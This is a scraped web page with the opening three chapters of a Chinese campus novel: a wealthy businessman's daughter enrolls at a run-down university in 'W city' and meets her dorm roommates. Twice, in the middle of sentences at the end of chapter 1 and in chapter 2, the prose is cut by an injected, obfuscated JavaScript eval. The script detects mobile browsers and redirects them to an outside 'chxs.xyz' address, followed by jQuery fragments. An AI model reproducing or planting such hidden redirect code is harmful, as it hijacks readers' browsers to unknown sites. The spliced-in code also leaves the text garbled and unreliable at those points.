《青春是朵木棉花》 1. 第 1 章 我固执的喜欢着《双城记》的开头:这是一个最好的时代,也是一个最坏的时代。 在这样一个日新月异的时代洪流之下,我们面临的是最好的,同时也是最坏的。最好的是你可以任意地做自己认为对的选择,而最坏的是你永远都不知道现在所做的这个选择将把你带向何处。 我叫周小西,我当然会为了我的选择付出代价,但是我现在却无暇考虑这么多。所有的一切都被即将到来的生活所迷惑,一个代表着时尚和潮流的都市在召唤着我,一个全新的未来在等待着我。 没错,我说的正是所有中国人都知道的那个城市,一个无与伦比的大都市——W市。它像是一座轰隆隆作响的现代机器——无数人在这里成就了梦想,也有无数人在这里遗失了自己。但在没有经历之前,谁都不知道自己会是前者还是后者,而更多的人毫无理由且无比坚定地相信这个神奇的造梦城市必将为自己的未来铺上闪耀的红毯。 我的大学生活,我所憧憬的未来,就在这座闪耀的城市里向我招手,我迫不及待的想要融入当中——以我自己的方式。在很久之后,我才意识到,它不仅仅是迷幻炫目的,更是朝秦暮楚的,它不会在乎任何一个微小的个体,而只是恒久地朝着对自己有益的方向发展。 而此时此时,在我不算丰富的人生阅历里,W市就是整个中国最值得向往的城市,它是绝对的经济中心,将曾经无比辉煌的S市和Y市远远地抛在了身后。 它以光速前进。如果说五年前它还默默无闻,那在今天没有人会忽略拔地而起的高楼大厦,扑天盖地的奢侈品牌在这一片寸土寸金的土地上厮杀争夺,唯恐自己落后一步。那可是数以千万计的广阔市场,资本对于这位新贵趋之若鹜。 几乎所有人都认定:如果说哪里的人会眼都不眨的买下无数标着高价只因为有一个闪亮Logo的商品,那必然是W市人,他们才不在乎品牌内涵和文化底蕴。可事实上,随着商业的蒸蒸日上,W市的艺术气息日益浓郁。在暴发户丛生的世界里,还有无数的商业精英,拥有着卓越的艺术品味。但谁care呢?这大概源自于Old money对于New Money的鄙夷。 而我选择的专业——国际经济与贸易,听上去就拥有一个高大上的光明前景。流利的英文,与金发碧眼的外国人在咖啡馆里谈笑风生,顺便签署下百万金额的合作协议,当然,是以美元计价。 在我的想象中,开设国际经济与贸易的学校应该是这副模样:种满梧桐树的浪漫校园小径,随处可见的异国帅哥美女,弥漫在耳畔的法语、西班牙和意大利语,让人仿佛徜徉在充满异国情调的第五大道街头。 可看到大学校园的第一眼,仿佛给了我当头一棒。 下着雨的泥泞地面,孤零零的一座在建中的教学楼,空旷的风从四处吹来。放眼望去,几座陈旧的建筑物,廖廖几棵毫无生气萎靡不振的小树苗,被雨水打蔫的残败荷叶飘浮在一片勉强可以成为池塘的小水池里……乏味可陈,满目萧条,我费尽力气在自己的词汇库来回逡巡,仍然找不到合适的词语来描述眼前的这一派景象。 骄傲气派的教学大楼在哪里?号称藏书百万的图书馆在哪里?占地广阔的塑胶跑道在哪里?盛世荷塘的映月荷花在哪里? 这座校园,仿佛是匆忙之中临时搭建出来的,除了巍峨的校门之外,一切的一切,别说跟我的想象大相径庭,甚至没有一项跟宣传页上相符合。脑子里突然弹出一句话,梦想就像方便面包装袋上的图片,让人垂涎三尺,而现实总是在提醒我们:图片仅供参考,请以实物为准。 虽然炎热的夏季已经过去,学校号称由于校园重建,将开学时间延迟到了十月中旬,但周遭的空气却让我觉得这是个比夏天更粘腻的季节,我的喉咙里仿佛被人塞上了厚重的棉絮,稀薄的空气根本满足不了最基础的呼吸需要。 我甚至怀疑,自己真的身处于五光十色,繁华喧嚣的W市吗?那令人惊叹的热闹和繁华难道都是假的?W市怎么能够容忍这样简陋的一座校园?就算是在郊区,它也跟W市格格不入,仿佛它是被人遗忘的一个小角落。 现在,我无比后悔,想要以十万的光速冲回到高中。是的,我后悔了,我怎么会不经思考就一头扎进这样一座学校?即使它身处W市,也改变不了它就是所二流学校的本质。而现实的一切,更是赤裸裸的标注着:铭盛大学并不是一个例外。 我承认,铭盛对我的全部吸引力只是因为它在W市。 我的梦想学府是那一座以奢华前卫的建筑风格而举世闻名的S大,光是想象自己坐在图书馆或者教学楼里的情景,就能让我激动地浑身颤抖。 不过是一次高考失利,我周小西怎么能这么草率地就决定了要生活四年的学校?现在我甚至开始想念高中那个不大的校园,宁愿马不停蹄地回去重读。 好了,现在让我们先退回三个月前,高考结束后的一个星期。如果时光可以倒流,也许情景会完全不同。 “小西,你要考虑清楚。选大学可不是买包包,不喜欢了可以重新再买一个。” “爸,我不要复读。我讨厌那些数字,讨厌那些不知所谓的习题,讨厌……总之,我讨厌高中里的一切。” 爸爸安静地看着我,挑了挑眉毛,无奈地冲着楼上喊,“况明蕙,看看你女儿。”当他再次看向我的时候,我在他眼睛里看到一个歇斯底里、快要炸毛的自己。 过了一会儿,我才听见妈妈的声音,“还不是像你?由着她吧。” 我重新躺回新买的Cassina沙发上,哗啦啦地翻着手里的画册,大胆的构图,鲜亮明丽的颜色,光怪陆离的世界……我喜欢的东西从来都跟同龄人不同,这要归功于我学艺术出身的妈妈。 虽然我的审美跟别人不太一样,而且不喜欢学校的教育方式,但这并不妨碍我学好数理化。但可悲的是,只要大考,我必定失利。超常发挥这种事情从来没在我身上发生过,就连正常发挥都是奢望。 爸妈已经对这件事情见怪不怪,反而上次拿到全国语文竞赛第一名倒是让他们大跌眼镜,我爸甚至怀疑评分老师批改的是另一个平行世界里周小西的卷子。 夏天下午四点半的阳光依然热的灼人,透过巨大的落地真丝窗帘投射在爸爸的脸上,半明半暗的阴影显得他的脸部轮廓格外锋利。 爸爸在商场上杀伐果决,但现在他的语气却足以让生意上的伙伴考虑要不要继续跟他合作。 他苦口婆心地劝导,“读经济系数学是基础,国际贸易系对数学的要求比高中高不少。小西,你确定知道自己想做什么……不如去国外读艺术吧,反正你也喜欢。” “爸,你已经为明天的《M日报》拟好了头条,周利伟女儿因高考失利落荒而逃。” 他呷一口瑰夏咖啡,恢复了平时的冷静,“别把他们想的那么无聊。” 我正好翻到画报的最后一页,“啪”的一声合上,抬起头:“他们连市区的下水道工程都会报道,难道还不够无聊?” 我的眼睛瞄向放在客厅另一头的书架上,最新一期的《Vogue》今天刚刚被摆在那里。 伸出脚去探找自己的拖鞋,顺便回应:“爸,你知道我只是考不好试,那不代表我是个白痴。我已经决定了,就去铭盛,这可是我自己考上的。” 周利伟按一按发胀的额头,终于妥协:“铭盛虽然不是名牌学校,但经济系还不错。学经济也好,以后回来帮爸爸。” “再说吧。”我不置可否地把心思放在拖鞋上。 进入BK ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997337|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作?不好意思,那完全不在我的人生规划当中。至于我的人生规划是什么,在这一刻,我自己并不知道。我只知道,在我爸的巨大光环之下,顶着太子女的名号,我这一辈子……已经可以看到尽头。 妈妈从楼上走下来,她正努力跟那对巨大的BVLGARI耳环搏斗。她扫了一眼客厅,问:“今天Amanda怎么没来,都没人煮咖啡。” “我放了她一天假。”爸爸放下手里的咖啡,起身准备去拿放在桌上的《金融日报》。 她走到爸爸身边,看一眼咖啡,说:“利伟,很久没喝过你煮的咖啡了,给我倒一杯。” 爸爸摇摇头,说:“拿你们母女俩一点办法没有。”拿着电话去了厨房。 他一边走一边拨通电话:“老陈,上次你说的那个杂志我很有兴趣,对方多少钱肯卖?出多少钱都不卖?那是文人的假清高,超过1亿就没必要买了……手里的那块地准备开建,政府批文已经拿到了,我要把它建成M市最大的购物商场……对了,Y市的那个项目怎么样,不行的话约王总见个面……”他顿一顿,接着说:“周六他应该从洛杉矶回来,如果可以的话,定周六晚上的机票……” 妈妈走到沙发边,说,“小西,W市是个好地方,那里有BVLGARI和Cartier的旗舰店,哦,对,还有Van Cleef &Arpels。” 我仰起脸,说:“妈,虽然我爸会赚钱,也经不起你这么折腾。” “你个小鬼头,亏我刚刚还帮你说话。” “对了,妈,你跟爸说一声,你们不用送我去。我自己坐飞机去。” “哎?我还想去W市血拼呢。” “我不管。你要是这次跟我去,我就告诉我爸你上个月买了三条BVLGARI的项链两个Cartier的戒指一块Vacheron Constantin的手表和三个Hermes的包。” “你爸才不在乎。”妈妈好不容易把那副能闪瞎我眼睛的耳环戴好,微微甩了甩头发,问:“好看吗?” 我摇摇头。 ——对这种在整件饰品都标上Logo外加镶嵌一堆碎钻的审美,我一直欣赏不了。尽管简约并不是BVLGARI的基因,但不那么奢华张扬的设计还是能挑得出来的。 在审美上,我和我妈属于互相看不上,她觉得我喜欢的简约风是另类贫民窟,而我觉得她崇尚的华丽风繁琐累赘。 我低头想了一下:“那我告诉我爸你买了二十万股允彦控股。” 我妈心虚地瞄了一眼厨房,压低声音说:“成交。” 允彦控股是我爸公司最大的竞争对手,上个月它买到了我爸想买的那块地皮,股价在两个小时内飙升了13%,而我妈在得知公司失手的第一时间内吃进了他们的二十万股。 我终于在沙发下面勾到了拖鞋,趿拉着走到书架上,抽出《Vogue》,继续躺回沙发。 我的爸爸周利伟在M市里无人不知,也许出了M市就没有认识他,但这并不妨碍我在M市里的知名度。 无论我多么优秀,多么与众不同,最后被冠上的头衔都是“周利伟的女儿”。在这个不算小但却远远称不上大的地方,我甚至怀疑,我连呼吸都要被人议论。 W市完全不同,蓬勃发展的经济业态,裹挟着巨大的物质欲望,钢筋混凝土的城市繁华时尚却异常冷漠。我爱它的繁华,更爱它的冷漠,没有人知道我是谁,也没有人会关心我从哪里来,我是谁的女儿。 我可以只是周小西,我可以按照自己的想法和凭借自己的能力,成为我想要成为的人。 至于要成为什么样的人?硬要我给出一个答案的话,去自己考上的大学读书,成为一名“名副其实”的大学生,大概算吧。 2. 第 2 章 就在我犹豫要不要掉头去买回M市飞机票的时候,一个声音在头顶上响起来。 “同学,你是大一新生吧?跟我走吧。我是负责新生接待的,比你高一届,国际贸易系易侃,你是经济系的吧?” 我看着他一开一合的嘴巴,脑袋里嗡嗡作响。 他看见我发怔的表情,顺着我的目光看向在建的那栋大楼,随即挠挠头,说:“哎,这是新校区,今年才开始兴建。谁知道找了什么施工队,速度慢的吓人。” 我还在震惊当中没缓过神来。 他伸手接过我手里的箱子,问:“你知道自己的宿舍是哪栋楼吗?” 我茫然地摇摇头,然后突然想起来报到时候笑意盈盈的学姐,“好像是A栋”。 “太幸福了,那是新楼。你们辅导员的手气真好。” “什么?”宿舍和辅导员的手气,我想象不出这两者中间有什么必然联系。 易侃说:“这是铭盛的老传统,新生住宿靠辅导员抽签。女生抽一次,男生抽一次。” 抽签定宿舍,这真是一个解决争议的最伟大发明。没有特权,没有欺骗,如果分到破旧的楼房,不好意思,请责怪你们的辅导员手气太背。铭盛的教务主任,真是个百年难得一遇的人才。 旁边一个男生挤过来,冲着他挤眉弄眼,揶揄说:“老易,准备泡学妹呢?” 易侃的脸微微发红,偷偷瞄了身边的女孩,她抬头看着远处的天空,好像没有听见。 易侃舒了口气,瞪了说话的男生一眼,“滚你的犊子,我做新生接待。你赶紧滚远点,别吓着学妹。” “呦呵,装的还挺正经……”那个男生笑着说:“学妹,有些人可会骗人了,可要当心。” 易侃举起拳头,“骆子,再胡说当心我揍你。” 那个叫骆子的男生往后跳了一步,“老易,别介啊,师妹可看着呢……”然后一路吹着口哨跑开了。 我漠然地看着他们,对于铭盛的印象进一步恶化,肤浅、粗俗、看不到任何精英气质,更别提商业氛围和艺术气质。 回想起途经的S大,极具后现代感的建筑物,在阳光的照耀下熠熠生辉。迎接新生的学长学姐清一色白衬衫,意气风发的样子,跟面前的这两位简直是天差地别。 我在心里哀叹了一声。 易侃在一路上尽全力展示他无厘头的幽默以及风趣,而我只觉得这十分钟的路程比我打车过来的一个半小时还要漫长。 “到了,就是这里。你住几楼?我帮你搬上去吧。女生楼平时不让进,今天是特例……”他笑得开怀,恨不得把牙龈都露出来,我在心里打了颤。 “不用了,谢谢你,学长。”我报以诚恳的笑容,迅速从他手里接过自己的行李(在反应过来这不是酒店服务之后,我就开始后悔没拒绝他),准备马上逃离他的视线。 “那个……”他停顿了片刻,然后问,“我还没问你叫什么名字。” “秋意蔚。” 我没有骗他,秋意蔚然是我八百年都不用的□□网名。 ——被李离吐槽像极了上世纪80年代的落寞女作家。 ——没错,可谁管她的,我喜欢就好了。 “我能加下你……”我头也不回麻溜地钻进了宿舍大楼,把他的询问丢在后面。 宿舍在5楼,502。 我推开宿舍门的时候,里面一个人都没有。 已经有床铺的整整齐齐。 我推着箱子,走到自己的桌子旁边。 一个梳着两条麻花辫的小姑娘从阳台上探出头来,嘻嘻哈哈地说:“你是周小西吧?你是最晚来的。我要去打水,你去吗?” 我还没来得及认真地思考她的建议,就被她拽着往外走。她一边走一边说:“我跟你说,再不去打水,就停水了。这坑爹的学校,开水的供应时间跟我的月经一样不规律。” 我皱起眉毛,想要把自己的胳膊从她的手里拯救出来——我既不喜欢别人的触碰,也没兴趣知道一个陌生人的月经周期。 她回头看我一眼,拽得更紧了,“哎呀,你别不好意思呀,我们都是女孩子,况且马上就是室友了。” 我略显局促地挣扎未果,在礼貌地开口拒绝和不礼貌地甩开之间犹豫了片刻后,问出了让自己想要把头埋进土里的问题。 “你怎么知道我名字?” “宿舍门上不是贴着名单?”她看了我一眼,好像在看一个两百斤的智障。 等到了开水房,我们才发现,我没有热水瓶。 我实在不能理解,在这样的时代里,居然还要依靠人工打水,难道在宿舍里安装一台饮水机不才是最明智最人性的做法吗?我迅速决定了大学购买清单上的第一件东西。 她不好意思地说:“哎呀,我忘记了,你还没有热水瓶。” “没关系。”我只想赶快离开,这个开水房又热又闷,一堆人挤在里面,穿着衣服蒸桑拿。我真不敢想象夏天怎么会有人有勇气走进来,难道不会直接晕倒在里面? 我的额头上有汗珠滴下来,再多待上一分钟,我很可能会两眼一黑直接昏死在这里。为了避免在开学的第一天就成为学校的事故,我开始往外走,“我去外面等你。”心里暗暗发誓,我再也不要来这个鬼地方。 “哦,好的。”身后传来她热情洋溢的声音,甚至我还听见了她拍着自己胸脯的声响,“我的水你随便用。” 在回宿舍的路上,她拎着两个硕大的热水瓶,走五分钟歇五分钟。尽管我知道助人为乐是美德,但我真的没信心也没兴趣尝试把这样两个庞然大物中的任何一个提上五楼。 突然,她停下来,我差点直接撞到她身上。 她拎着两个水瓶,气喘吁吁地说:“呀,我忘了自我介绍了,我叫刘小叶,W市人。” ——我就在这么莫名其妙的情况下认识了我的第一位室友。 面对这个无厘头却莫名可爱的姑娘,我皱了皱眉头,“现在的重点是我们怎么把这两个东西弄上去吧?” 看上去这个姑娘是个弄不清楚究竟什么是重点的家伙。 后来我知道,我对她的判断竟然出奇的精准——她经常会忘记各种重点,“这不是重点”是她的口头禅,而我们的观点都跟她不一样。 再次爬上五楼的时候,刘小叶哐当一下把热水瓶放下来,气喘吁吁地两手撑着膝盖,像一尾被甩出了水面的鱼一样,大口呼吸着空气。 推门进宿舍,一个女生背对着我们在打电话,抑扬顿挫的声音在整个房间里回荡:“这地方能住人吗?要穿过一整个走廊走到尽头的盥洗室刷牙洗脸,我长这么大从来没去过公共浴室。” 她深吸了一口气,好像不这样她就要马上昏厥过去了。 “天呐,跟一堆陌生人赤裸相对,你能想象那个场面吗?就连喝水,都要去楼下的开水房自提,excuse me?难道我们还生活在石器时代?你稍等我一下,我有个电话。” 她把手机放在桌子上,从她的LV包包里掏出另一部手机。 “Jacob,我需要一台饮水机,当然,如果你能彻底改建我的宿舍,Perfect。” 不知道电话那头说了什么,过了一会儿,她很冷静地说:“那就这样,我希望尽快。” 她用两个手指夹起扔在桌子上的手机,对着电话说:“意外的好消息,我应该很快就可以搬出去了。好了,我不跟你多说了,我想去洗个手。” Prada当季的连衣裙,Jimmy Choo的高跟鞋,刚刚开始流行的中长Lob头,无处不彰显着她与平常女孩子的不同。 我在心底“啊”了一声,含着金汤匙出生的富家小姐——不可一世的,自认为与众不同的,令人讨厌的富二代——我见过太多了。 她张扬而明显地向所有人宣告她的财富和身份,显然,她跟我不一样,她因为财富而骄傲。“肤浅的有钱人”,我的潜意识给她贴上了一个标签。突然,一个念头在我脑子里飞闪而过——或许,我在别人眼里也是一样。 当她转过身来的时候,不出意外画着浓淡适宜的精致妆容,一张不惊艳却高级的脸,气质端庄高雅。但让我意外的是——尽管她的眉毛修剪成人畜无害的柳月眉,但仍然透出一种倔强的味道。 我暗自庆幸,且对自己的明智举动有些许小得意:在开学前的一个星期,我威逼利诱让李离带我去了M市著名的小店一条街。在那里辛苦地淘了一下午,连老板娘的存货都扒出来之后,我终于买齐了这一整个学期的衣服。 现在,我穿着一条两百块不到的裙子,跟身边的刘小叶差别不大。 我看了一眼刘小叶,哦,no,我收回刚才那句话。 她身上穿着一件咸菜绿的宽大T恤,直筒设计,前胸看不出来是什么的抽象图案……我依稀记得我家的保洁阿姨有件类似颜色的衣服。 我虽然追求简洁,但这跟没品位是两个风马牛不相及的概念。 凌静宜看见我们,只是稍微楞了一下,然后说:“你们好,我是凌静宜。” 刘小叶吃惊地张着嘴巴,然后机械地吐出三个字:“刘小叶。” 跟她相比较,我表现地得体大方得多:“你好,我是周小西。” 凌静宜点头示意,然后踩着她的高跟鞋,优雅地像走T台的模特一样从我们身边走了过去。 “小西,我没看错吧?我们宿舍住进了一个富二代?” 刘小叶从说完这句之后就一直保持着巨大而夸张的“代”字口型,我有点害怕她的下颚会脱臼,只能伸出手把她的下巴推上去,然后给她一个肯定的眼神作为答案。 就在刘小叶走神的瞬间,一个戴着圆乎乎大眼镜的姑娘走了进来,典型的乖乖女。 “你们好,我是许苑薇。”她托了一下眼镜,说话声音轻轻的,像一只害怕受惊吓并随时准备逃走的小兔子。 我们互相做了介绍,看上去,这是一个正常的姑娘。 在她们的帮助下,我终于铺好了床,万幸学校发了两床厚棉被,不然我就要直接把真丝床单铺在木板上了。我妈大概跟我一样,认为在任何地方席梦思都是标配。 我们瘫坐在凳子上,我在心里对索菲亚肃然起敬——原来套被子这么累,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997338|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每次换床单被罩举重若轻,动作谈不上优雅但绝对不像我一样笨拙。 过了一会儿,刘小叶突然倏的一下站起来,“现在几点了?”确定已经过了四点半的时候,她哀嚎起来,“糟糕,买不到第五食堂的排骨年糕了。” “那我们去吃肯德基吧?”许苑薇提议。 “你们确定要去吗?最近的肯德基打车过去最少也要半个小时吧?”我大致估算了下,觉得不是个好建议。 来学校的路上,出租车越开越偏,我觉得自己与文明世界最后的接触就是半小时前开过的肯德基。 如果不是GPS路线显示出租车一直沿着正确的方向行驶,我大概认为自己碰上了想要杀人越货的无良司机。 哐当一声,从宿舍门口砸进来一颗篮球,然后一个帅气男生走了进来,穿着宽大的阿迪球衣,干净的头发,一表人才,像是海报上阳光灿烂的模特。不由让人眼睛一亮,如果你仔细看,甚至可以在刘小叶的眼睛里面看见一颗颗闪烁的小星星。 真没想到,铭盛居然会有这样的极品帅哥,如果他是大一新生,铭盛现任校草的地位岌岌可危。 她们犯了几分钟花痴之后,许苑薇第一个发现有什么事情不太对——帅哥出现在了错误的地点。 她大叫一声:“他是男的!” 刘小叶依然一副花痴脸:“废话,他当然是男的,还是一个很帅的男的……” “可这是女生宿舍。”我忍不住给了她一个白眼。 “同学,你是怎么进来的?这里是女生宿舍!” 在她们俩都不知道该怎么办的时候,我只能挺身而出。 刘小叶两手护住胸,“就算你长的帅,我们也是不会屈服的……” 许苑薇和我一脸生不如死,我们还没有自恋到认为这个帅哥会对我们有任何不良企图。 “你是走错了吗?赶紧走,我们不会告诉老师。”许苑薇推了一下她鼻梁上的黑框眼镜,提出了一个她认为的合理方案。 帅哥翻了个白眼,冷冰冰地说:“我是陈梦晓,住这里。” 然后,她径直走到4号下铺,躺了下去。 “暴殄天物啊……”刘小叶发出比好吃被抢更加悲怆的哀嚎,“她怎么能是女的呢?!” 她们俩一副无比惋惜的表情,这年头帅哥本来就不多,还有很多是“性别男,爱好男”,现在又多了一种——“长相男,性别女,爱好不知。” 刘小叶看一眼躺在床上的陈梦晓,捂住胸口:“天呐,我不能再看了,不然我就要被掰弯了。” 陈梦晓好像没听见一样,翻个身,把脸对向了墙壁。 “我们还要不要去吃饭?”许苑薇小声地问。 刘小叶发自肺腑地感慨:“这真是火树银花的一天。” 四点四十分不到,我们三个人就坐在了学校空无一人的食堂里——既没有人给我们点菜,橱窗后面也没有任何食物。我们三个人面面相觑,不知道是不是该继续等一会儿。 食堂里有一个阿姨在拖地,她好心地告诉我们,今天食堂还没有开始营业,要等明天正式上课才有饭吃。 刘小叶愤愤不平地指着粘贴在食堂公告板上的“今日餐单”问:“不是都出了菜单了吗?” “哦,那是为明天做准备的。”阿姨瞥了一眼,一脸淡定地继续拖地,“小同学,脚抬一抬。” 这也太不人道了,难道早来学校的学生都活该没饭吃?! 刘小叶不死心地凑过去看“明日”菜单,然后我听到了一声响彻云霄的哀嚎。 随后,就看见她掏出手机,冲着手机一顿狂吼:“说好的红烧鸡翅呢?还有西湖醋鱼,糖醋排骨,油爆大虾,酱烧猪肘……什么都没有,欧祈你这个大骗子!要不是因为你告诉我铭盛的食堂是W市第一美食圣地,我就去读F大了……” 我和许苑薇互相看了一眼,清楚地在彼此脸上看到了“这人怕不是个白痴”的表情。我猜,她也知道,F大虽然不是名牌大学,但好歹是所一本院校,跟铭盛比,好了可不止一个段位。 刘小叶果然是一个奇葩,一个前无古人后无来者的奇葩。我选择铭盛的理由已经够奇葩了,跟她一比,我马上就心安理得了。要是F大的老师知道有人为了美食而放弃了前途,还不得捶胸顿足,快马加鞭地改造学校食堂。不过说回来,老师对于这样的学生,大概也抱着少一个是一个的心理吧…… 后来,我才发现,刘小叶最大的优点不是她能够告诉你,W市最好吃的鸡翅是哪一家的,哪里的黄鱼小馄饨最正宗,而在于她的自来熟。只要她愿意,绝对能够在三分钟内跟任何她想要搭讪的人聊的火热。所以,对于学校里的各项八卦,她能够毫不费力地拿到第一手资料,而我们无论愿不愿意,都快速地获得了分享。 “那现在怎么办?”许苑薇有气无力地快要翻白眼晕过去:“我中午就没吃饭。” 刘小叶壮士断腕一样艰难地吐出一句话:“学校后门有一家鸭血粉丝汤,吃饱应该没问题。” 当然,她没有告诉我们,味道堪忧。 于是,我吃了有生以来最难吃的一顿饭。 3. 第 3 章 回到宿舍的时候,已经超过了7点半。 凌静宜一脸嫌弃地望着那张窄窄的小床,上面铺着干净整洁的丝绸被,看上去跟整个宿舍格格不入,她在房间里来回踱步,房间里有规律地响着高跟鞋的“哒哒”声。 陈梦晓依旧躺在床上,阴影笼罩着她的脸,看不出她的表情。 我刚刚坐下,一个姑娘端着一盆衣服推门进来,正好撞到站在门口的刘小叶的背。 “啊,对不起,对不起!”她放下盆,不住地向刘小叶道歉,“我帮你揉揉?” “你妈没告诉你进门前要敲门吗?!”刘小叶龇牙咧嘴地狂吼,一抬眼看见她,一时语塞。 虽然上帝本来就是不公平的,但人比人还是会气死人。 郑筱穿着跟她一样宽大的直筒T恤,黑色,上面印着白色的字母,一看就知道是花一百多块从路边小店里淘来的。要说真的有什么不同,她光腿穿着长款T恤,青春活力又清纯。而刘小叶配了一条号称能显腿瘦的奇怪打底裤,看上去活脱脱像欧巴桑。 刘小叶往后退了一步,看看她,再看看我,惊呼了一声:“哇塞,我们宿舍必火啊。” 大家都没什么反应,她不死心地又补充了一句:“你们难道都不觉得?” 许苑薇一脸疑惑,问:“为什么?” 刘小叶笑得很贼,“小许许,你先回答我一个问题:21世纪最重要的是什么?” 许苑薇瞪着她无辜的大眼睛,“人才咯,这还用问?” “不不不,”她摇动着胖乎乎的食指,“是颜值!我必须要刷新下你的认知了,现在的世界可是个如假包换看脸的世界。” “肤浅……”一个冰冷的声音从角落里响起来。 我以为是凌静宜,没想到居然是陈梦晓。 “不管你愿不愿意承认,长得好看的人就是占便宜……这个世界就是由一群像我一样肤浅的生物组成的。”我不由佩服刘小叶,换做是我,估计要跟陈梦晓吵起来。 刘小叶虽然振振有词地反驳了回去,但她没在这个话题上继续。 我再一次见识到了刘小叶超级无敌自来熟的属性——在熄灯前的两个小时内,她已经把我们的姓名、籍贯、星座、血型之类的基础信息摸清楚了。而且一边跟许苑薇说说笑笑地聊各自高中的事情,一边跟郑筱讨论她家乡的美食,顺便还问我认不认识M市有个姓周的土豪(我腹诽,如果让我爸知道他被叫土豪,大概会在W市盖个商业广场)。 除了凌静宜和陈梦晓这两座冰山之外,她已经成功地跟我们打成一片。 她的目光飘向陈梦晓,脸部不自觉地抽搐了一下,突然一把搭在我肩膀上:“小西,我能不能跟你换床睡?” “为什么?” 我是5号床,上铺。而刘小叶是6号床,下铺。想到从今天开始每天睡觉都得爬上爬下,我当然希望能换到下铺,但我深刻体会有句话叫“天上没有掉馅饼的日子”,还是问问清楚比较好。 “让我天天挨着陈梦晓,我还能睡得着觉吗?”刘小叶捂着自己的胸口:“我的小心脏啊……” 我看了一眼陈梦晓,她一副“关我什么事儿”的样子。 “别了,我挨着郑筱挺好的。” 相比较于冰山美少年,当然是温暖美少女更没有压迫感。 刘小叶大大地叹了口气。 凌静宜一副欲言又止的样子,站在许苑薇的床前踌躇着怎么往上爬。许苑薇很贴心地问她:“你是不是也想换床?我可以跟你换。” 她迟疑了一会儿,摇摇头,说:“算了。” 然后撩着裙子爬了上去——住上铺的人显而易见已经跟优雅绝缘了,区别只是像不像一只看见香蕉的猴子而已。 10点半熄灯之后,周围一片黑暗,除了手机屏幕的荧光之外,没有其他的亮光。除了按键的声音之外,没有别的声音。 第一次在陌生的环境里,我根本睡不着。 刘小叶翻了个身,问:“你们都睡了吗?” “睡不着。”许苑薇的声音闷闷的,“我第一次离开家。” 夜晚是个神奇的诱因,仿佛白天所有的兴奋、快乐、无拘无束的自由,都随着夜晚的来临而渐渐隐退,取而代之的是陌生的环境和若有似无的愁绪。 刘小叶爬起来,半个身子支在床沿上,一改之前的瓮声瓮气:“我们聊聊天吧。” 许苑薇悉悉索索地从被子里探出半个身体,问:“聊什么?” “当然是聊男人啊,不然聊高考成绩啊……”刘小叶的声音里透出亢奋。 我十分识相地不出声,无论是哪一项,我都拿不出手。在M市那个地方,花季少女们青春荡漾的荷尔蒙旺盛分泌的时候,我似乎得了内分泌失调,对所有的男生提不起一点兴趣。 要知道,我所在的高中聚集了整个M市里最耀眼的三个男生:萧楠,他从初中开始就常年占据校草排行版第一名,英俊深邃的脸庞,高瘦挺拔的身材,加上浑身散发出来的阳光气息,不管他走到哪里,都会被一票少女的目光追随;陆亦,眉清目秀,好看得像是动漫里走出来的少年,温暖和煦的气息像是温柔的春风;叶翔——萧楠的死党,高大帅气,英气逼人,加上他放荡不羁的痞痞气质,对那些心里揣着想要变坏的念头但却不敢真变坏的女生们有着致命的吸引力,让她们无时无刻不在蠢蠢欲动。 他们的交情可以追溯到三个人穿开裆裤的时候,他们就像一块巨大的磁铁,吸引着所有性取向为男的雌性动物。当他们三个勾肩搭背一起出现的时候,简直是对怀春的花季少女们的巨大刺激。他们走过的地方,连空气里都洋溢着满满的荷尔蒙气息。 我升入高中的那一年,他们读高三,但这并不妨碍全校的花季少女为他们疯狂,篮球场旁边常年挤满了各个年级不同款型的女生。我有一次路过篮球场,还以为是某个当红炸子鸡明星组合的校园见面会在篮球场进行。我甚至在心里为他们出谋划策:见面会还是在大礼堂办比较合适。 说实话,我从来不知道原来一个高中有这么多女生,甚至怀疑是不是有其他学校的女孩子都跑来我们学校观看这三只行走的荷尔蒙。 而我居然对这三个人完全免疫,我在M市唯一的死党李离因此怀疑我的性取向。 “你怎么可能不喜欢他们中的任何一个?陆亦哎,叶翔哎,还有萧楠……”她尖叫着,“萧楠哎!!” “那又怎么样?还不是两只眼睛,一个鼻子。”我漫不经心地翻着杂志,心里在想中午吃什么。 李离一副恨铁不成钢的样子:“周小西,你究竟是不是个女的?” 我认真仔细地想了想:“如果医院的出生记录没登记错,而你从来没变过性的话,我应该跟你一样。” 李离差点一口水喷在我刚买的Ipad上。 刘小叶的声音在黑暗的夜里极具有穿透力,一字不漏地在我耳朵边晃荡。 刘小叶神秘兮兮地说:“你们知道铭盛有‘风云三剑客’吗?都是大三的学长,据说全都帅得惨绝人寰,那叫一个惊天地泣鬼神。” 许苑薇不解地问:“都惨绝人寰了,那得长成什么样儿啊?刘小叶,你确定那是帅哥?” “当然啦。许许,我跟你说,你要见到真人,估计口水都得流下来。” “我才没那么花痴……”许苑薇一边否认,一边忍不住问:“真有那么帅?我不信。” “你还真别不信……”刘小叶想了一下,重新躺进被子里:“用小陈哥举个例子吧,说别人估计你也没概念。你今天看到她不也眼睛都不眨一下。” 许苑薇一头雾水:“小陈哥是谁?” 刘小叶捂着被子笑得花枝乱颤。 一个冷冰冰的声音在黑暗里格外冰冷:“陈梦晓,性别女。” “长相漂亮的小男生现在满大街都是,每个人对帅的标准都不一样。刘小叶,你说的学长也不见得大家都觉得帅吧……” 